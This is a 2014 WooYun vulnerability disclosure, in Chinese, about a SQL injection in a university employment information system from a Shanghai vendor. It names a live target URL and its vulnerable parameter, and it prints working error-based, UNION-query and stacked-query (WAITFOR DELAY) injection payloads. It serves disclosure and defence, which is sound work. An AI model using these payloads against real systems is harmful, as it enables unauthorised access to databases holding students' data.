漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-060533
漏洞标题：高校就业信息服务系统SQL注入漏洞
相关厂商：上海甲鼎信息技术有限公司
漏洞作者： Ebon_Wolf
提交时间：2014-05-15 12:52
修复时间：2014-08-13 12:54
公开时间：2014-08-13 12:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-05-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-08-13： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
由于参数过滤不严导致漏洞产生。
详细说明：
上海甲鼎信息技术有限公司（http://www.infojiading.cn）
旗下的高校就业信息服务系统SQL注入漏洞：
检测地址：
http://job.shvtc.com:85/EntInfoget.asp?UENo=12
由于UENo参数没有过滤导致漏洞产生。
漏洞测试数据：
Place: GET
Parameter: UENo
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: UENo=12' AND 7078=CONVERT(INT,(SELECT CHAR(58)+CHAR(97)+CHAR(110)+C
HAR(101)+CHAR(58)+(SELECT (CASE WHEN (7078=7078) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(58)+CHAR(98)+CHAR(113)+CHAR(109)+CHAR(58))) AND 'QZED'='QZED
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: UENo=12' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL,
CHAR(58)+CHAR(97)+CHAR(110)+CHAR(101)+CHAR(58)+CHAR(115)+CHAR(82)+CHAR(102)+CHA
R(71)+CHAR(84)+CHAR(121)+CHAR(112)+CHAR(76)+CHAR(80)+CHAR(110)+CHAR(58)+CHAR(98)
+CHAR(113)+CHAR(109)+CHAR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: UENo=12'; WAITFOR DELAY '0:0:5'--
漏洞证明：
修复方案：
修复方案：对程序整个参数检测，加强参数过滤和定义。
版权声明：转载请注明来源 Ebon_Wolf@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝